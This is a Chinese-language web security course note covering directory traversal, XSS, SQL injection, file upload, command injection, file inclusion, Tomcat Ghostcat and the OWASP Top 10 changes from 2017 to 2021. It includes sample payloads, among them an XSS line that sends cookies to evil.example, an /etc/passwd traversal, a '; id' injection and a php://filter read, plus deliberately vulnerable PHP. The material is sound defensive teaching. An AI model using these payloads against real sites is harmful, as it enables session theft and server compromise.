Web 安全综述（下）：常见漏洞与 OWASP Top 10

本文是《Web 安全综述（上）》的下篇，根据深信服 SCSA-S 课程《Web 安全综述》第三、四课整理。上篇讲 Web 的起源、架构与安全发展，下篇进入具体漏洞，并梳理 OWASP Top 10 从 2017 到 2021 的变化。

引言：从整体认识到具体漏洞

上篇解决的是”看全局”的问题：Web 由哪些层组成，数据怎么流动，攻击面怎么迁移。这一篇解决”看具体”的问题：常见的八类 Web 漏洞分别是什么、怎么打、怎么防；以及业界最常被引用的风险清单——OWASP Top 10。

每个漏洞都按同一个模板讲：是什么 → 为什么会有 → 怎么利用 → 怎么防。理解了模板，遇到新漏洞也能自己套。

一、常见 Web 安全漏洞

1.1 信息泄露

信息泄露是指 Web 服务器或应用程序没有正确处理一些特殊请求，泄露了用户名、密码、源代码、服务器信息、配置信息等敏感内容。

三个主要原因：

1. Web 服务器配置有问题，系统文件或配置文件暴露在互联网中；
2. Web 服务器本身存在漏洞，输入特殊字符就能访问未授权文件或脚本源码；
3. 网站程序编写有问题，对用户请求没有适当过滤，直接使用用户提交的数据。

常见载体：

信息泄露通常不是最终目标，而是后续攻击的前置条件。获取源码后可以进行代码审计，查找硬编码密钥、未过滤参数和隐藏接口；获取目录结构后可以针对已知漏洞进行测试。很多渗透报告的第一条”高危”，就是从 .git 或备份文件开始的。

防御：部署时排除 .git、.svn、.DS_Store 和备份文件；关闭目录列表；错误页面统一化；敏感配置放环境变量或配置中心；备份文件放在 Web 根目录之外。

1.2 目录遍历：通过 ../ 访问网站根目录之外的文件

目录遍历（目录穿越）指攻击者利用 ../ 读取应用程序所在服务器上的任意文件，包括代码、数据、后端登录信息和操作系统敏感文件。课件对危害的判断很直接：能让任意用户访问系统敏感文件，继而危及整个服务器。

危险写法：

$file = $_GET['file'];
readfile("/var/www/html/uploads/" . $file);

传入 ../../../etc/passwd，路径将指向 uploads 之外：

/var/www/images/../../../etc/passwd  ≡  /etc/passwd

实际测试时 ../ 常被过滤，于是有各种变形：

注意区分两个概念：

• 目录列表：服务器把目录下的文件名列出来，是配置问题；
• 目录遍历：通过 ../ 越过预期目录，是代码问题。

防御：

$base = realpath('/var/www/html/uploads');
$target = realpath($base . '/' . $file);
if ($base === false || $target === false || strpos($target, $base . DIRECTORY_SEPARATOR) !== 0) {
    exit('Invalid path');
}

用 realpath() 规范化后按目录分隔符校验边界，避免相似前缀目录误判为合法路径；能白名单就白名单；文件存储与 Web 根目录分离；进程以最小权限运行。

1.3 XSS：在受害者浏览器中执行脚本

跨站脚本攻击（XSS）指攻击者通过在 Web 页面中写入恶意脚本，造成用户在浏览页面时，控制用户浏览器进行操作的攻击方式。

关键词是在别人的浏览器里执行——XSS 攻击的是用户，不是服务器。

最小示例：

<!-- 反射型：搜索关键词被原样输出 -->
https://target/search?q=<script>alert(document.cookie)</script>

<!-- 存储型：评论内容被存库后展示 -->
<img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">

<!-- DOM 型：前端直接把 hash 写进 innerHTML -->
https://target/#<img src=x onerror=alert(1)>

危害包括盗取 Cookie/会话、XSS 蠕虫、会话劫持、钓鱼，以及配合 CSRF 执行管理员操作。

防御：按上下文（HTML 正文、属性、JS、CSS、URL）做输出编码；使用默认转义的框架；部署 CSP；会话 Cookie 加 HttpOnly；富文本用白名单清洗。输入校验有帮助，但不能替代输出编码。

1.4 SQL 注入：篡改数据库查询

SQL 注入指 Web 系统对数据库访问语句过滤不严，入侵者在合法参数位置传入特殊字符、命令，实现对后台数据库的入侵。

两种基本类型：

-- 数字型：参数没有引号包裹
SELECT * FROM table WHERE id = 1

-- 字符型：参数被引号包裹
SELECT * FROM table WHERE username = 'test'

对应测试：

1 OR 1=1
test' OR '1'='1

常见手法：

危害：数据库信息泄露、数据被篡改/删除、通过 INTO OUTFILE 写 WebShell，甚至以数据库为跳板攻击内网。

防御：

// 错误：字符串拼接
$sql = "SELECT * FROM users WHERE name = '" . $_GET['name'] . "'";

// 正确：预处理 + 参数绑定
$stmt = $pdo->prepare('SELECT * FROM users WHERE name = ?');
$stmt->execute([$_GET['name']]);

预编译/参数化查询是首选；数据库账号最小权限；关闭详细报错；WAF 兜底但不能替代代码修复；查询加 LIMIT 降低泄露量。

1.5 文件上传：上传可执行脚本

网站一般都有文件上传功能（文档、图片、头像、视频）。当上传代码没有严格校验后缀和类型时，就可以上传任意文件，甚至可执行的后门脚本。

上传本身不是漏洞，“上传之后能被当作脚本执行”才是。攻击者上传一个脚本文件，访问它，服务器就会执行里面的代码。这个脚本通常只有一行，核心逻辑是接收外部参数并当作代码执行，业内称为”一句话木马”。上传点 + 可执行目录，是实战中最常见的 GetShell 组合之一。

常见绕过思路：

防御：白名单校验后缀；同时校验 MIME 和文件头；上传后重命名；上传目录禁止脚本执行；文件存储到 Web 根目录之外；图片做二次渲染；限制大小和数量。

1.6 命令执行：从”调用系统命令”到”接管服务器”

应用程序有时需要调用系统命令，而 PHP 的 system、exec、shell_exec、passthru、反引号等都可以执行系统命令。当参数可被用户控制时，攻击者就能把恶意命令拼接到正常命令中。

典型场景：

$ip = $_GET['ip'];
system("ping -c 1 " . $ip);

正常请求 ?ip=127.0.0.1，攻击者传 ?ip=127.0.0.1; id，实际执行：

ping -c 1 127.0.0.1; id

常见拼接符：

危害：读写任意文件、反弹 Shell、横向移动、清理日志、留后门。若当前用户是 root，危害更大。

防御：能不用系统命令就不用；必须调用时用 escapeshellarg() / escapeshellcmd() 或参数数组；参数白名单；Web 进程低权限；disable_functions 禁用危险函数；容器/沙箱隔离。

1.7 文件包含：包含可控文件

开发人员会把重复使用的函数写到单个文件中，需要时直接调用，这个调用过程叫文件包含。所有脚本语言都提供该功能，但文件包含漏洞在 PHP 中居多，JSP、ASP、ASP.NET 中很少。

include('header.php');
require('config.php');

区别：include 出错只警告，脚本继续；require 出错是致命错误，脚本终止。

危险写法：

$page = $_GET['page'];
include($page . '.php');

常见利用手法：

• 读取敏感文件：/etc/passwd、/proc/self/environ、应用配置、日志；
• 包含日志 getshell：把 PHP 代码写进访问日志，再包含日志文件；
• 伪协议：php://filter 读源码、php://input 执行 POST Body、data://、zip://、phar://；
• 配合文件上传：上传图片马，再用包含执行。

读源码的经典 payload：

?page=php://filter/read=convert.base64-encode/resource=index.php

防御：包含路径用白名单映射；allow_url_include=Off；open_basedir 限制目录；上传目录禁止执行且与包含目录分离；审计 include、require 的参数来源。

1.8 Web 中间件漏洞

Web 中间件介于操作系统和应用程序之间，屏蔽底层通讯、交互、连接的复杂性，以产品形式提供通用能力。常见中间件：IIS、Apache、Tomcat、Nginx、WebLogic、JBoss。

Tomcat Ghostcat（CVE-2020-1938）：AJP 协议（默认 8009）存在缺陷，攻击者可读取 Web 应用目录下的任意文件，包括 WEB-INF/web.xml、源码和配置；如果应用有上传功能，还能进一步包含文件实现 RCE。影响 Tomcat 6.x、7.x < 7.0.100、8.x < 8.5.51、9.x < 9.0.31。修复：升级；不需要 AJP 就注释掉 Connector；必须使用时设置 secret、绑定 127.0.0.1。

中间件漏洞值得单独学，是因为它们影响面大、利用稳定、可造成严重后果。一个配置疏忽，可能使前面所有的代码安全措施失效。

1.9 漏洞组合利用：真实攻击不是单点

信息泄露（.git / 备份文件）
        ↓ 获取源码
代码审计（发现未过滤参数）
        ↓
SQL 注入（获取管理员密码）
        ↓ 登录后台
文件上传（上传图片马）
        ↓
文件包含（执行图片马）
        ↓
命令执行（反弹 Shell）
        ↓
提权 / 横向移动 / 持久化

这条链给防守方的启示是：不需要在每一环都做到完美，但要在关键节点实施控制。源码不泄露，攻击者无法获得源码与目录信息；上传目录不可执行，图片马失效；文件包含白名单，图片马无法被包含；Web 进程低权限，即使 RCE 也拿不到 root；数据库最小权限，注入拿不到系统权限；出网限制和日志告警，能让反弹 Shell 和横向移动暴露。

这就是”纵深防御”的含义：不依赖单点防护，而是提高每一阶段的攻击成本。

二、OWASP Top 10：2017 → 2021

2.1 OWASP 是什么

OWASP（Open Web Application Security Project，开放式 Web 应用程序安全项目）是一个开源的、非盈利的全球性安全组织，在 Web 应用安全领域提供文章、方法论、文档、工具和技术，致力于应用软件的安全研究。

它的使命是：使应用软件更加安全，使企业和组织能够对应用安全风险做出更清晰的决策。

OWASP Top 10 列出了公认的最有威胁性的 Web 应用安全漏洞，总结并更新 Web 应用中最多见、最危险的十大风险。它不是”漏洞大全”，而是一份风险共识：用于指导开发、运维和安全团队确定优先级。

Top 10 是”意识文档”，不是”测试清单”。真正做评估时，还要结合业务场景、资产重要性和威胁模型。

2.2 2017 榜单

2.3 2021 榜单

2.4 从 2017 到 2021：变了什么

五个关键信号：

1. 访问控制超过注入，成为第一风险——说明”越权”在实际业务中太普遍；
2. 新增”不安全的设计”——业界从”写错代码”转向”设计就有问题”；
3. XSS 并入注入、XXE 并入配置错误——分类在收敛，强调根因而不是单个手法；
4. 反序列化升级为”软件和数据完整性故障”——供应链和 CI/CD 成为新的风险领域；
5. 新增 SSRF——云原生环境下，服务器”替攻击者发请求”的风险被正式承认。

2.5 2021 十大风险速览

2.6 Top 10 的正确用法

Top 10 不是”逐条打勾”的清单，而是按风险分配精力的框架。比较实用的做法是把它映射到研发流程：

再补一句：OWASP 还有 ASVS（应用安全验证标准）和 WSTG（测试指南）。前者定义验证要求，后者提供测试方法。Top 10 提供风险优先级，ASVS/WSTG 提供验证与测试依据。

三、小结

下篇的内容可以压缩成三句话：

1. 常见漏洞都是”数据与语法相遇”的变体：SQL 注入、XSS、命令执行、文件包含、目录遍历，本质都是用户可控数据进入了不该进入的解释器。
2. 单个漏洞影响有限，组合利用可形成完整攻击链：信息泄露 → 源码审计 → 注入/上传 → 包含/命令执行；防守要在关键节点实施控制。
3. OWASP Top 10 的重点在”变化”：从 2017 到 2021，访问控制升至第一、新增不安全设计与 SSRF、XSS/XXE 被合并、反序列化扩展到供应链——风险正从”代码写错”转向”设计、架构与供应链”。

把上下篇合起来看：上篇建立整体认识，下篇分析具体漏洞；整体认识决定分析视角，具体漏洞决定测试入口。